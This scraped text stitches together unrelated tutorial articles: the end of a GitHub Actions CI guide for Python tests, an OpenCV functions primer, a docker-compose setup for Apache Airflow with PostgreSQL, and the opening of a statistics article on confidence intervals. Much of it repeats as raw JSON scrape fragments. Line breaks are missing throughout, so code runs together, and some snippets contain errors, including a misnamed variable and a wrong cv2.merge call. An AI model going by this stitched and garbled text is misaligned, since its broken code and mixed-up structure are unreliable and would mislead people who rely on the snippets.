'initial commit'# Create a remote repository in github.com and do the following.git remote add origin <Your Repository>git branch -M maingit push -u origin main" }, { "code": null, "e": 2097, "s": 1961, "text": "Your remote repository will contain two files; the requirement.txt and the app.py. Go to the Actions tab and select Python application." }, { "code": null, "e": 2252, "s": 2097, "text": "This will open a new file called python-app.yml in the .github/workflow folder. This is where you can configure events, actions, etc., and their sequence." }, { "code": null, "e": 2531, "s": 2252, "text": "The default file is pre-configured to run a set of actions whenever we push changes to the main branch or make a pull request. It runs on an Ubuntu container with Python 3.10. After installing the dependencies from the requirement.txt file, it executes the pytest shell command." }, { "code": null, "e": 2649, "s": 2531, "text": "Please change the last line from pytestto pytest app.py and click on the start commit button on the top right corner." }, { "code": null, "e": 2856, "s": 2649, "text": "As we’ve configured it to run on every push, you don’t have to trigger any action manually. If you go to the Actions tab now, you can see the new workflow we’ve created already started to perform the tests." }, { "code": null, "e": 3004, "s": 2856, "text": "As expected, it’ll fail at first. Click on the new workflow run, and you can see why it failed. It’s the same error we had when running it locally." }, { "code": null, "e": 3165, "s": 3004, "text": "GitHub also sends you an email whenever new changes fail to pass tests. If you’re following this guide, do check your inbox associated with your GitHub account." }, { "code": null, "e": 3304, "s": 3165, "text": "Let’s try editing it locally and push the code that passes all the tests. Change the value in the assertion to 55 from 54, as shown below." }, { "code": null, "e": 3431, "s": 3304, "text": "Now commit and push these changes to the remote repository. On the Actions tab, you can see a new workflow run is running now." }, { "code": null, "e": 3502, "s": 3431, "text": "This time you can also check all our tests passing without any errors." }, { "code": null, "e": 3666, "s": 3502, "text": "Most python projects contain environment variables. These are specific variables unique to every deployment. This file usually doesn’t go to the remote repository." }, { "code": null, "e": 3689, "s": 3666, "text": "towardsdatascience.com" }, { "code": null, "e": 3883, "s": 3689, "text": "For example, you may define the port to start your Python-based web application in a .env file. But committing this to a remote repository is not needed as other users may use a different port." }, { "code": null, "e": 4057, "s": 3883, "text": "To specify an environment variable for a GitHub workflow, we must edit the YAML file again. After setting the OS to look like the following, let’s add a couple of new lines." }, { "code": null, "e": 4167, "s": 4057, "text": "Let’s update our code to read the input variable from the environment file instead. It should look like this." }, { "code": null, "e": 4239, "s": 4167, "text": "Let’s commit and see if the test passes on the GitHub Actions workflow." }, { "code": null, "e": 4295, "s": 4239, "text": "git commit -am \"Read inputs from env variables\"git push" }, { "code": null, "e": 4395, "s": 4295, "text": "If you navigate the GitHub Action ad the respective workflow run, you can now see the test passing." }, { "code": null, "e": 4569, "s": 4395, "text": "It may be a little too much to perform a full round of testing every time someone commits a change to the repository. We may want to narrow it down to a single branch or so." }, { "code": null, "e": 4818, "s": 4569, "text": "We can do this and many other customizations through the YAML file. Here in the below example, we’re configuring to run the tests on every push to the dev branch and every pull request to the main branch. It’s a practice most developers follow too." }, { "code": null, "e": 4927, "s": 4818, "text": "To learn more about different ways you can customize triggers, please consult GitHub Actions’ documentation." }, { "code": null, "e": 5084, "s": 4927, "text": "It’s also very common to run tests on a schedule. It may be the only practice for some teams. Others may prefer to do it in parallel to tests on every push." }, { "code": null, "e": 5237, "s": 5084, "text": "We can schedule workflows to run on specific rutine in Github Actions. If you are familiar with corn jobs, you can apply the same here in the YAML file." }, { "code": null, "e": 5301, "s": 5237, "text": "Here’s an example that runs our tests every Sunday at midnight." }, { "code": null, "e": 5441, "s": 5301, "text": "CI pipelines are a revolutionary step in DevOps. Performing tests in a CI pipeline avoided the chances of introducing bugs into the system." }, { "code": null, "e": 5612, "s": 5441, "text": "We can use GitHub Actions as a perfect CI workflow. Here in this post, we’ve discussed how to use it to perform Python tests before pushing any changes to the repository." }, { "code": null, "e": 5815, "s": 5612, "text": "We’ve also discussed how to schedule workflows in cronjobs and customize the event triggers. We may have to be very specific about when we are running or workflows. Because running comes with its costs." }, { "code": null, "e": 6094, "s": 5815, "text": "GitHub Actions for basic use is free up to 2000 minutes of system time. It applies even if yours is a private repository. But beyond this limit, you need one of their paid plans. However, if the repository is a public one or if you use your private runner, it’s completely free." }, { "code": null, "e": 6169, "s": 6094, "text": "Thanks for reading, friend! Say Hi to me on LinkedIn, Twitter, and Medium." } ]
Top 10 OpenCV Functions Everyone Has To Know About | Towards Data Science
Computer Vision and Computer Graphics are really popular right now since they are vastly connected to Artificial Intelligence and the main thing they have in common is that they use the same library OpenCV in order to perform high-level understanding from digital images or videos (CV) or generating images (CG). That is why today we are going to take a look at that same library that fuels these big fields in Computer Science and see what are some functions that you can benefit majorly from! Before we go into the powerful functions of OpenCV, let’s take a look at the definitions of Computer Vision, Graphics, and OpenCV to understand better what we are doing here. Computer vision is an interdisciplinary field that deals with how computers can be made to gain a high-level understanding of digital images or videos. From the perspective of engineering, it seeks to automate tasks that the human visual system can do. Computer graphics is a branch of computer science that deals with generating images with the aid of computers. Today, computer graphics is a core technology in digital photography, film, video games, cell phone and computer displays, and many specialized applications. OpenCV (Open Source Computer Vision Library) is an open-source computer vision and machine learning software library. OpenCV was built to provide a common infrastructure for computer vision applications and to accelerate the use of machine perception in commercial products. The library provides tools for processing and analyzing the content of images, including recognizing objects in digital photos (such as faces and figures of people, text, etc.), tracking the movement of objects, converting images, applying machine learning methods, and identifying common elements in various images. Once we got that out of the way, we can begin with the top 10 Functions of my personal choice. (Code written with the functions is going to be in Python) This function has to be first since it is essential to starting your project with an image. As you can guess from the name of the function, it loads an image in the BGR (Blue-Green-Red) format. import cv2import matplotlib.pyplot as plotimage = cv2.imread('data.png') #load imageplot.imshow(image) #show image Once you load the image, you can also convert it to different color schemes using different flags in cvtColor. cv2.cvtColor(image,cv2.COLOR_BGR2RGB) Here are some other flags for cvtColor: COLOR_BGR2GRAY, COLOR_BGR2HSV, and COLOR_BGR2YUV, etc. This goes both ways, so COLOR_YUV2BGR, for example, is also possible. Sometimes you just need an image with a different size than the original so this is the function you need. cv2.resize(image, dimension, interpolation = cv2.INTER_AREA) It takes the original image and with dimension creates a new one. Dimension is defined as: dimension = (width, height) Interpolation is the way it resamples a picture, in my concrete example it uses INTER_AREA — resampling using pixel area relation and there are more of those like INTER_NEAREST: Nearest neighbor interpolationINTER_LINEAR: Bilinear interpolationINTER_CUBIC: Bicubic interpolation over 4×4 pixel neighborhoodINTER_LANCZOS4: Lanczos interpolation over 8×8 neighborhood INTER_NEAREST: Nearest neighbor interpolation INTER_LINEAR: Bilinear interpolation INTER_CUBIC: Bicubic interpolation over 4×4 pixel neighborhood INTER_LANCZOS4: Lanczos interpolation over 8×8 neighborhood Each picture has 3 channels and if we want to split each of them into separate images, we can do that by using split functions. (channel_b, channel_g, channel_r) = cv2.split(img) If the image is in the BGR format, it will separate each channel into those three variables you define. After you have already split the channels and you want to merge them back together, you use merge. cv2.merge(channel_b, channel_g, channel_r) Use vconcat(), hconcat() to concatenate (combine) images vertically and horizontally. v means vertical and h means horizontal. cv2.vconcat([image1, image2])cv2.hconcat([image1, image2]) If you want to fill an image (Mat) with ones or zeros for all three dimensions because Mat requires 3 layers/dimensions for a color image. size = 200, 200, 3m = np.zeros(size, dtype=np.uint8)n = np.ones(size, dtype=np.uint8) As a bonus function, there is one thing I want to add here and that is transpose function. If we have a defined matrix mat that we want to transpose, all we have to do is use this function on it: import numpy as np mat = np.array([[1, 2, 3], [4, 5, 6]]) mat_transpose = mat.transpose()print(mat_tranpose) We get the output: [[1 4] [2 5] [3 6]]#original input[[1, 2, 3] [4, 5, 6]] We are done! This is mostly for beginners, but next time we will take a look at more advanced features of OpenCV. Until then, follow me for more! 😎 Thanks for reading!
[ { "code": null, "e": 484, "s": 171, "text": "Computer Vision and Computer Graphics are really popular right now since they are vastly connected to Artificial Intelligence and the main thing they have in common is that they use the same library OpenCV in order to perform high-level understanding from digital images or videos (CV) or generating images (CG)." }, { "code": null, "e": 666, "s": 484, "text": "That is why today we are going to take a look at that same library that fuels these big fields in Computer Science and see what are some functions that you can benefit majorly from!" }, { "code": null, "e": 841, "s": 666, "text": "Before we go into the powerful functions of OpenCV, let’s take a look at the definitions of Computer Vision, Graphics, and OpenCV to understand better what we are doing here." }, { "code": null, "e": 1094, "s": 841, "text": "Computer vision is an interdisciplinary field that deals with how computers can be made to gain a high-level understanding of digital images or videos. From the perspective of engineering, it seeks to automate tasks that the human visual system can do." }, { "code": null, "e": 1363, "s": 1094, "text": "Computer graphics is a branch of computer science that deals with generating images with the aid of computers. Today, computer graphics is a core technology in digital photography, film, video games, cell phone and computer displays, and many specialized applications." }, { "code": null, "e": 1638, "s": 1363, "text": "OpenCV (Open Source Computer Vision Library) is an open-source computer vision and machine learning software library. OpenCV was built to provide a common infrastructure for computer vision applications and to accelerate the use of machine perception in commercial products." }, { "code": null, "e": 1955, "s": 1638, "text": "The library provides tools for processing and analyzing the content of images, including recognizing objects in digital photos (such as faces and figures of people, text, etc.), tracking the movement of objects, converting images, applying machine learning methods, and identifying common elements in various images." }, { "code": null, "e": 2109, "s": 1955, "text": "Once we got that out of the way, we can begin with the top 10 Functions of my personal choice. (Code written with the functions is going to be in Python)" }, { "code": null, "e": 2303, "s": 2109, "text": "This function has to be first since it is essential to starting your project with an image. As you can guess from the name of the function, it loads an image in the BGR (Blue-Green-Red) format." }, { "code": null, "e": 2418, "s": 2303, "text": "import cv2import matplotlib.pyplot as plotimage = cv2.imread('data.png') #load imageplot.imshow(image) #show image" }, { "code": null, "e": 2529, "s": 2418, "text": "Once you load the image, you can also convert it to different color schemes using different flags in cvtColor." }, { "code": null, "e": 2567, "s": 2529, "text": "cv2.cvtColor(image,cv2.COLOR_BGR2RGB)" }, { "code": null, "e": 2732, "s": 2567, "text": "Here are some other flags for cvtColor: COLOR_BGR2GRAY, COLOR_BGR2HSV, and COLOR_BGR2YUV, etc. This goes both ways, so COLOR_YUV2BGR, for example, is also possible." }, { "code": null, "e": 2839, "s": 2732, "text": "Sometimes you just need an image with a different size than the original so this is the function you need." }, { "code": null, "e": 2900, "s": 2839, "text": "cv2.resize(image, dimension, interpolation = cv2.INTER_AREA)" }, { "code": null, "e": 2991, "s": 2900, "text": "It takes the original image and with dimension creates a new one. Dimension is defined as:" }, { "code": null, "e": 3019, "s": 2991, "text": "dimension = (width, height)" }, { "code": null, "e": 3182, "s": 3019, "text": "Interpolation is the way it resamples a picture, in my concrete example it uses INTER_AREA — resampling using pixel area relation and there are more of those like" }, { "code": null, "e": 3385, "s": 3182, "text": "INTER_NEAREST: Nearest neighbor interpolationINTER_LINEAR: Bilinear interpolationINTER_CUBIC: Bicubic interpolation over 4×4 pixel neighborhoodINTER_LANCZOS4: Lanczos interpolation over 8×8 neighborhood" }, { "code": null, "e": 3431, "s": 3385, "text": "INTER_NEAREST: Nearest neighbor interpolation" }, { "code": null, "e": 3468, "s": 3431, "text": "INTER_LINEAR: Bilinear interpolation" }, { "code": null, "e": 3531, "s": 3468, "text": "INTER_CUBIC: Bicubic interpolation over 4×4 pixel neighborhood" }, { "code": null, "e": 3591, "s": 3531, "text": "INTER_LANCZOS4: Lanczos interpolation over 8×8 neighborhood" }, { "code": null, "e": 3719, "s": 3591, "text": "Each picture has 3 channels and if we want to split each of them into separate images, we can do that by using split functions." }, { "code": null, "e": 3770, "s": 3719, "text": "(channel_b, channel_g, channel_r) = cv2.split(img)" }, { "code": null, "e": 3874, "s": 3770, "text": "If the image is in the BGR format, it will separate each channel into those three variables you define." }, { "code": null, "e": 3973, "s": 3874, "text": "After you have already split the channels and you want to merge them back together, you use merge." }, { "code": null, "e": 4016, "s": 3973, "text": "cv2.merge(channel_b, channel_g, channel_r)" }, { "code": null, "e": 4143, "s": 4016, "text": "Use vconcat(), hconcat() to concatenate (combine) images vertically and horizontally. v means vertical and h means horizontal." }, { "code": null, "e": 4202, "s": 4143, "text": "cv2.vconcat([image1, image2])cv2.hconcat([image1, image2])" }, { "code": null, "e": 4341, "s": 4202, "text": "If you want to fill an image (Mat) with ones or zeros for all three dimensions because Mat requires 3 layers/dimensions for a color image." }, { "code": null, "e": 4427, "s": 4341, "text": "size = 200, 200, 3m = np.zeros(size, dtype=np.uint8)n = np.ones(size, dtype=np.uint8)" }, { "code": null, "e": 4518, "s": 4427, "text": "As a bonus function, there is one thing I want to add here and that is transpose function." }, { "code": null, "e": 4623, "s": 4518, "text": "If we have a defined matrix mat that we want to transpose, all we have to do is use this function on it:" }, { "code": null, "e": 4734, "s": 4623, "text": "import numpy as np mat = np.array([[1, 2, 3], [4, 5, 6]]) mat_transpose = mat.transpose()print(mat_tranpose)" }, { "code": null, "e": 4753, "s": 4734, "text": "We get the output:" }, { "code": null, "e": 4813, "s": 4753, "text": "[[1 4] [2 5] [3 6]]#original input[[1, 2, 3] [4, 5, 6]]" }, { "code": null, "e": 4826, "s": 4813, "text": "We are done!" }, { "code": null, "e": 4927, "s": 4826, "text": "This is mostly for beginners, but next time we will take a look at more advanced features of OpenCV." }, { "code": null, "e": 4961, "s": 4927, "text": "Until then, follow me for more! 😎" } ]
Apache/Airflow and PostgreSQL with Docker and Docker Compose | by Ivan Rezic | Towards Data Science
Hello, in this post I will show you how to set up official Apache/Airflow with PostgreSQL and LocalExecutor using docker and docker-compose. In this post, I won’t be going through Airflow, what it is, and how it is used. Please check the official documentation for more information about that. Before setting up and running Apache Airflow, please install Docker and Docker Compose. In this chapter, I will show you files and directories which are needed to run airflow and in the next chapter, I will go file by file, line by line explaining what is going on. Firstly, in the root directory create three more directories: dags, logs, and scripts. Further, create following files: .env, docker-compose.yml, entrypoint.sh and dummy_dag.py. Please make sure those files and directories follow the structure below. #project structureroot/├── dags/│ └── dummy_dag.py├── scripts/│ └── entrypoint.sh├── logs/├── .env└── docker-compose.yml Created files should contain the following: #docker-compose.ymlversion: '3.8'services: postgres: image: postgres environment: - POSTGRES_USER=airflow - POSTGRES_PASSWORD=airflow - POSTGRES_DB=airflow scheduler: image: apache/airflow command: scheduler restart_policy: condition: on-failure depends_on: - postgres env_file: - .env volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs webserver: image: apache/airflow entrypoint: ./scripts/entrypoint.sh restart_policy: condition: on-failure depends_on: - postgres - scheduler env_file: - .env volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs - ./scripts:/opt/airflow/scripts ports: - "8080:8080" #entrypoint.sh#!/usr/bin/env bashairflow initdbairflow webserver #.envAIRFLOW__CORE__SQL_ALCHEMY_CONN=postgresql+psycopg2://airflow:airflow@postgres/airflowAIRFLOW__CORE__EXECUTOR=LocalExecutor #dummy_dag.pyfrom airflow import DAGfrom airflow.operators.dummy_operator import DummyOperatorfrom datetime import datetimewith DAG('example_dag', start_date=datetime(2016, 1, 1)) as dag: op = DummyOperator(task_id='op') Positioning in the root directory and executing “docker-compose up” in the terminal should make airflow accessible on localhost:8080. Image bellow shows the final result. If you encounter permission errors, please run “chmod -R 777” on all subdirectories, e.g. “chmod -R 777 logs/” In Leyman’s terms, docker is used when managing individual containers and docker-compose can be used to manage multi-container applications. It also moves many of the options you would enter on the docker run into the docker-compose.yml file for easier reuse. It works as a front end "script" on top of the same docker API used by docker. You can do everything docker-compose does with docker commands and a lot of shell scripting. Before running our multi-container docker applications, docker-compose.yml must be configured. With that file, we define services that will be run on docker-compose up. The first attribute of docker-compose.yml is version, which is the compose file format version. For the most recent version of file format and all configuration options click here. Second attribute is services and all attributes one level bellow services denote containers used in our multi-container application. These are postgres, scheduler and webserver. Each container has image attribute which points to base image used for that service. For each service, we define environment variables used inside service containers. For postgres it is defined by environment attribute, but for scheduler and webserver it is defined by .env file. Because .env is an external file we must point to it with env_file attribute. By opening .env file we can see two variables defined. One defines executor which will be used and the other denotes connection string. Each connection string must be defined in the following manner: dialect+driver://username:password@host:port/database Dialect names include the identifying name of the SQLAlchemy dialect, a name such as sqlite, mysql, postgresql, oracle, or mssql. Driver is the name of the DBAPI to be used to connect to the database using all lowercase letters. In our case, connection string is defined by: postgresql+psycopg2://airflow:airflow@postgres/airflow Omitting port after host part denotes that we will be using default postgres port defined in its own Dockerfile. Every service can define command which will be run inside Docker container. If one service needs to execute multiple commands it can be done by defining an optional .sh file and pointing to it with entrypoint attribute. In our case we have entrypoint.sh inside the scripts folder which once executed, runs airflow initdb and airflow webserver. Both are mandatory for airflow to run properly. Defining depends_on attribute, we can express dependency between services. In our example, webserver starts only if both scheduler and postgres have started, also the scheduler only starts after postgres have started. In case our container crashes, we can restart it by restart_policy. The restart_policy configures if and how to restart containers when they exit. Additional options are condition, delay, max_attempts, and window. Once service is running, it is being served on containers defined port. To access that service we need to expose the containers port to the host's port. That is being done by ports attribute. In our case, we are exposing port 8080 of the container to TCP port 8080 on 127.0.0.1 (localhost) of the host machine. Left side of : defines host machines port and the right-hand side defines containers port. Lastly, the volumes attribute defines shared volumes (directories) between host file system and docker container. Because airflows default working directory is /opt/airflow/ we need to point our designated volumes from the root folder to the airflow containers working directory. Such is done by the following command: #general case for airflow- ./<our-root-subdir>:/opt/airflow/<our-root-subdir>#our case- ./dags:/opt/airflow/dags- ./logs:/opt/airflow/logs- ./scripts:/opt/airflow/scripts ... This way, when the scheduler or webserver writes logs to its logs directory we can access it from our file system within the logs directory. When we add a new dag to the dags folder it will automatically be added in the containers dag bag and so on. That's it for today, thank you for reading this story, I will be posting more soon. If you notice any mistakes, please let me know. EDIT: “deploy:” is needed before “restart_policy:” as suggested by comments
[ { "code": null, "e": 465, "s": 171, "text": "Hello, in this post I will show you how to set up official Apache/Airflow with PostgreSQL and LocalExecutor using docker and docker-compose. In this post, I won’t be going through Airflow, what it is, and how it is used. Please check the official documentation for more information about that." }, { "code": null, "e": 553, "s": 465, "text": "Before setting up and running Apache Airflow, please install Docker and Docker Compose." }, { "code": null, "e": 731, "s": 553, "text": "In this chapter, I will show you files and directories which are needed to run airflow and in the next chapter, I will go file by file, line by line explaining what is going on." }, { "code": null, "e": 982, "s": 731, "text": "Firstly, in the root directory create three more directories: dags, logs, and scripts. Further, create following files: .env, docker-compose.yml, entrypoint.sh and dummy_dag.py. Please make sure those files and directories follow the structure below." }, { "code": null, "e": 1107, "s": 982, "text": "#project structureroot/├── dags/│ └── dummy_dag.py├── scripts/│ └── entrypoint.sh├── logs/├── .env└── docker-compose.yml" }, { "code": null, "e": 1151, "s": 1107, "text": "Created files should contain the following:" }, { "code": null, "e": 2066, "s": 1151, "text": "#docker-compose.ymlversion: '3.8'services: postgres: image: postgres environment: - POSTGRES_USER=airflow - POSTGRES_PASSWORD=airflow - POSTGRES_DB=airflow scheduler: image: apache/airflow command: scheduler restart_policy: condition: on-failure depends_on: - postgres env_file: - .env volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs webserver: image: apache/airflow entrypoint: ./scripts/entrypoint.sh restart_policy: condition: on-failure depends_on: - postgres - scheduler env_file: - .env volumes: - ./dags:/opt/airflow/dags - ./logs:/opt/airflow/logs - ./scripts:/opt/airflow/scripts ports: - \"8080:8080\"" }, { "code": null, "e": 2131, "s": 2066, "text": "#entrypoint.sh#!/usr/bin/env bashairflow initdbairflow webserver" }, { "code": null, "e": 2260, "s": 2131, "text": "#.envAIRFLOW__CORE__SQL_ALCHEMY_CONN=postgresql+psycopg2://airflow:airflow@postgres/airflowAIRFLOW__CORE__EXECUTOR=LocalExecutor" }, { "code": null, "e": 2484, "s": 2260, "text": "#dummy_dag.pyfrom airflow import DAGfrom airflow.operators.dummy_operator import DummyOperatorfrom datetime import datetimewith DAG('example_dag', start_date=datetime(2016, 1, 1)) as dag: op = DummyOperator(task_id='op')" }, { "code": null, "e": 2655, "s": 2484, "text": "Positioning in the root directory and executing “docker-compose up” in the terminal should make airflow accessible on localhost:8080. Image bellow shows the final result." }, { "code": null, "e": 2766, "s": 2655, "text": "If you encounter permission errors, please run “chmod -R 777” on all subdirectories, e.g. “chmod -R 777 logs/”" }, { "code": null, "e": 3198, "s": 2766, "text": "In Leyman’s terms, docker is used when managing individual containers and docker-compose can be used to manage multi-container applications. It also moves many of the options you would enter on the docker run into the docker-compose.yml file for easier reuse. It works as a front end \"script\" on top of the same docker API used by docker. You can do everything docker-compose does with docker commands and a lot of shell scripting." }, { "code": null, "e": 3367, "s": 3198, "text": "Before running our multi-container docker applications, docker-compose.yml must be configured. With that file, we define services that will be run on docker-compose up." }, { "code": null, "e": 3548, "s": 3367, "text": "The first attribute of docker-compose.yml is version, which is the compose file format version. For the most recent version of file format and all configuration options click here." }, { "code": null, "e": 3811, "s": 3548, "text": "Second attribute is services and all attributes one level bellow services denote containers used in our multi-container application. These are postgres, scheduler and webserver. Each container has image attribute which points to base image used for that service." }, { "code": null, "e": 4084, "s": 3811, "text": "For each service, we define environment variables used inside service containers. For postgres it is defined by environment attribute, but for scheduler and webserver it is defined by .env file. Because .env is an external file we must point to it with env_file attribute." }, { "code": null, "e": 4284, "s": 4084, "text": "By opening .env file we can see two variables defined. One defines executor which will be used and the other denotes connection string. Each connection string must be defined in the following manner:" }, { "code": null, "e": 4338, "s": 4284, "text": "dialect+driver://username:password@host:port/database" }, { "code": null, "e": 4613, "s": 4338, "text": "Dialect names include the identifying name of the SQLAlchemy dialect, a name such as sqlite, mysql, postgresql, oracle, or mssql. Driver is the name of the DBAPI to be used to connect to the database using all lowercase letters. In our case, connection string is defined by:" }, { "code": null, "e": 4668, "s": 4613, "text": "postgresql+psycopg2://airflow:airflow@postgres/airflow" }, { "code": null, "e": 4781, "s": 4668, "text": "Omitting port after host part denotes that we will be using default postgres port defined in its own Dockerfile." }, { "code": null, "e": 5173, "s": 4781, "text": "Every service can define command which will be run inside Docker container. If one service needs to execute multiple commands it can be done by defining an optional .sh file and pointing to it with entrypoint attribute. In our case we have entrypoint.sh inside the scripts folder which once executed, runs airflow initdb and airflow webserver. Both are mandatory for airflow to run properly." }, { "code": null, "e": 5391, "s": 5173, "text": "Defining depends_on attribute, we can express dependency between services. In our example, webserver starts only if both scheduler and postgres have started, also the scheduler only starts after postgres have started." }, { "code": null, "e": 5605, "s": 5391, "text": "In case our container crashes, we can restart it by restart_policy. The restart_policy configures if and how to restart containers when they exit. Additional options are condition, delay, max_attempts, and window." }, { "code": null, "e": 6007, "s": 5605, "text": "Once service is running, it is being served on containers defined port. To access that service we need to expose the containers port to the host's port. That is being done by ports attribute. In our case, we are exposing port 8080 of the container to TCP port 8080 on 127.0.0.1 (localhost) of the host machine. Left side of : defines host machines port and the right-hand side defines containers port." }, { "code": null, "e": 6326, "s": 6007, "text": "Lastly, the volumes attribute defines shared volumes (directories) between host file system and docker container. Because airflows default working directory is /opt/airflow/ we need to point our designated volumes from the root folder to the airflow containers working directory. Such is done by the following command:" }, { "code": null, "e": 6511, "s": 6326, "text": "#general case for airflow- ./<our-root-subdir>:/opt/airflow/<our-root-subdir>#our case- ./dags:/opt/airflow/dags- ./logs:/opt/airflow/logs- ./scripts:/opt/airflow/scripts ..." }, { "code": null, "e": 6761, "s": 6511, "text": "This way, when the scheduler or webserver writes logs to its logs directory we can access it from our file system within the logs directory. When we add a new dag to the dags folder it will automatically be added in the containers dag bag and so on." }, { "code": null, "e": 6893, "s": 6761, "text": "That's it for today, thank you for reading this story, I will be posting more soon. If you notice any mistakes, please let me know." } ]
SQL Tryit Editor v1.6
SELECT 30 / 10; ​ Edit the SQL Statement, and click "Run SQL" to see the result. This SQL-Statement is not supported in the WebSQL Database. The example still works, because it uses a modified version of SQL. Your browser does not support WebSQL. Your are now using a light-version of the Try-SQL Editor, with a read-only Database. If you switch to a browser with WebSQL support, you can try any SQL statement, and play with the Database as much as you like. The Database can also be restored at any time. Our Try-SQL Editor uses WebSQL to demonstrate SQL. A Database-object is created in your browser, for testing purposes. You can try any SQL statement, and play with the Database as much as you like. The Database can be restored at any time, simply by clicking the "Restore Database" button. WebSQL stores a Database locally, on the user's computer. Each user gets their own Database object. WebSQL is supported in Chrome, Safari, Opera, and Edge(79). If you use another browser you will still be able to use our Try SQL Editor, but a different version, using a server-based ASP application, with a read-only Access Database, where users are not allowed to make any changes to the data.
[ { "code": null, "e": 16, "s": 0, "text": "SELECT 30 / 10;" }, { "code": null, "e": 18, "s": 16, "text": "​" }, { "code": null, "e": 81, "s": 18, "text": "Edit the SQL Statement, and click \"Run SQL\" to see the result." }, { "code": null, "e": 141, "s": 81, "text": "This SQL-Statement is not supported in the WebSQL Database." }, { "code": null, "e": 209, "s": 141, "text": "The example still works, because it uses a modified version of SQL." }, { "code": null, "e": 247, "s": 209, "text": "Your browser does not support WebSQL." }, { "code": null, "e": 332, "s": 247, "text": "Your are now using a light-version of the Try-SQL Editor, with a read-only Database." }, { "code": null, "e": 506, "s": 332, "text": "If you switch to a browser with WebSQL support, you can try any SQL statement, and play with the Database as much as you like. The Database can also be restored at any time." }, { "code": null, "e": 557, "s": 506, "text": "Our Try-SQL Editor uses WebSQL to demonstrate SQL." }, { "code": null, "e": 625, "s": 557, "text": "A Database-object is created in your browser, for testing purposes." }, { "code": null, "e": 796, "s": 625, "text": "You can try any SQL statement, and play with the Database as much as you like. The Database can be restored at any time, simply by clicking the \"Restore Database\" button." }, { "code": null, "e": 896, "s": 796, "text": "WebSQL stores a Database locally, on the user's computer. Each user gets their own Database object." }, { "code": null, "e": 956, "s": 896, "text": "WebSQL is supported in Chrome, Safari, Opera, and Edge(79)." } ]
Confidence Intervals with Python | Luis Roque | Towards Data Science
In a series of weekly articles, I will cover some important statistics topics with a twist. The goal is to use Python to help us get intuition on complex concepts, empirically test theoretical proofs, or build algorithms from scratch. In this series, you will find articles covering topics such as random variables, sampling distributions, confidence intervals, significance tests, and more. At the end of each article, you can find exercises to test your knowledge. The solutions will be shared in the article of the following week. Articles published so far: Bernoulli and Binomial Random Variables with Python From Binomial to Geometric and Poisson Random Variables with Python Sampling Distribution of a Sample Proportion with Python Confidence Intervals with Python Significance Tests with Python Two-sample Inference for the Difference Between Groups with Python Inference for Categorical Data Advanced Regression Analysis of Variance — ANOVA As usual, the code is available on my GitHub. A group of students tried to understand which character of friends was the funniest, narrowing it down to Chandler Bing or Ross Geller. They were interested in the likelihood of Ross actually winning since he has a very awkward sense of humor compared to Chandler's sarcastic and witty sense of humor. They decided to set up a poll in their school. Ideally, they would ask the entire population, but shortly they understood that it would not be feasible to ask the 5,000 students their preference. Instead, they decided to take random samples of 40 students and calculate the sample proportion that supported Ross. The first value that they arrived at was p̂=0.61. Notice that to continue with their study, the group of students needs to make sure that the conditions to calculate a valid confidence interval for a proportion are met. There are 3 conditions: The sample has to be random. A normal distribution can approximate the sampling distribution of the sample proportions. The rule of thumb is that you need to have at least 10 successes and 10 failures. The samples are required to be independent. The rule of thumb is that if you are sampling without replacement, your sample size should be less than 10% of the population size. import numpy as npimport seaborn as snsimport mathfrom scipy.stats import bernoulli, norm, t, skewnormimport matplotlib.pyplot as pltp_hat = 0.61n = 40print('Normal conditions:')print('successes >= 10: ' + str(n*p_hat >= 10))print('failures >= 10 : ' + str(n*(1-p_hat) >= 10))print('--')print('Independence condition:')print(40/5000 < 0.1)Normal conditions:successes >= 10: Truefailures >= 10 : True--Independence condition:True All the conditions are met, the group of students could now focus on building the sampling distribution of the sample proportions; from this distribution, they calculated the possible sample proportions they could get and their likelihoods. We already saw that the mean of the sampling distribution is the actual population proportion p and the standard deviation of the sample proportions: Let’s start to connect these concepts with the concept of confidence intervals. What is the probability that p̂ = 0.61 is within For a normal distribution, this is approximately 95%. This is equivalent to say that there is a 95% probability that p is within And this is the fundamental idea for a confidence interval. Now, we have a problem. We do not know p, so we need to use an estimate. The best estimate that we have is naturally p̂. Thus, instead of using we use the Standard Error: to compute our confidence intervals. SE_hat_p = np.sqrt(p_hat*(1-p_hat)/n)print(f'With 95% confidence between {np.round(p_hat - 2*SE_hat_p, 2)} and {np.round(p_hat + 2*SE_hat_p, 2)} of students prefer the awkward humor of Ross.')With 95% confidence between 0.46 and 0.76 of students prefer the awkward humor of Ross. Notice that our confidence interval calculated above can change based on what sample proportion we actually choose. If the group of students sample again 40 new students the new sample proportion could now be 0.55. p_hat = 0.55n = 40SE_hat_p = np.sqrt(p_hat*(1-p_hat)/n)print(f'With 95% confidence between {np.round(p_hat - 2*SE_hat_p, 2)} and {np.round(p_hat + 2*SE_hat_p, 2)} of students prefer the awkward humor of Ross.')With 95% confidence between 0.39 and 0.71 of students prefer the awkward humor of Ross. We can connect this concept with the margin of error. The margin of error for our first trial (knowing that we are interested in getting 95% confidence) is 2 times our SE. An interesting question that often arises is “what can you do to reduce the margin of error”? Notice that the margin of error is dependent on SE, which is inversely proportional to the sample size. So, one possible way to reduce the margin of error is to increase the sample size. print(f'Margin of error = {2*SE_hat_p}')Margin of error = 0.15732132722552272 Again, the same reasoning applies. Depending on what our sample proportion is, our margin of error could have a different value. The idea is that if we use this method of computing confidence intervals repeatedly, it will produce different intervals each time (depending on the sample proportion) that include the true proportion 95% of the time. confidence_interval=0.95p = 0.61n = 50number_trials = 25p_hat_list = []SE_hat_p_list = []for i in range(number_trials): s_ = bernoulli.rvs(p=p, size=n) p_hat = s_[s_==1].shape[0] / s_.shape[0] p_hat_list.append(p_hat) SE_hat_p_list.append(2*np.sqrt(p_hat*(1-p_hat)/n))j=0_, ax = plt.subplots(1, 1, figsize=(6, 8))for i in range(len(p_hat_list)): if (p>p_hat_list[i]-SE_hat_p_list[i]) & (p<p_hat_list[i]+SE_hat_p_list[i]): # interval contains p ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='black') j +=1 else: # interval does not contain p ax.errorbar(p_hat_list[i], np.arange(len(p_hat_list))[i],lolims=True, xerr=SE_hat_p_list[i], yerr=0.0, linestyle='', c='red')ax.axvline(0.61, color='darkorange')plt.xlim(0,1)plt.show()print(f'{j}/{number_trials}={np.round(j/number_trials,2)}') 24/25=0.96 We are plotting the sample proportion p̂ and the interval: 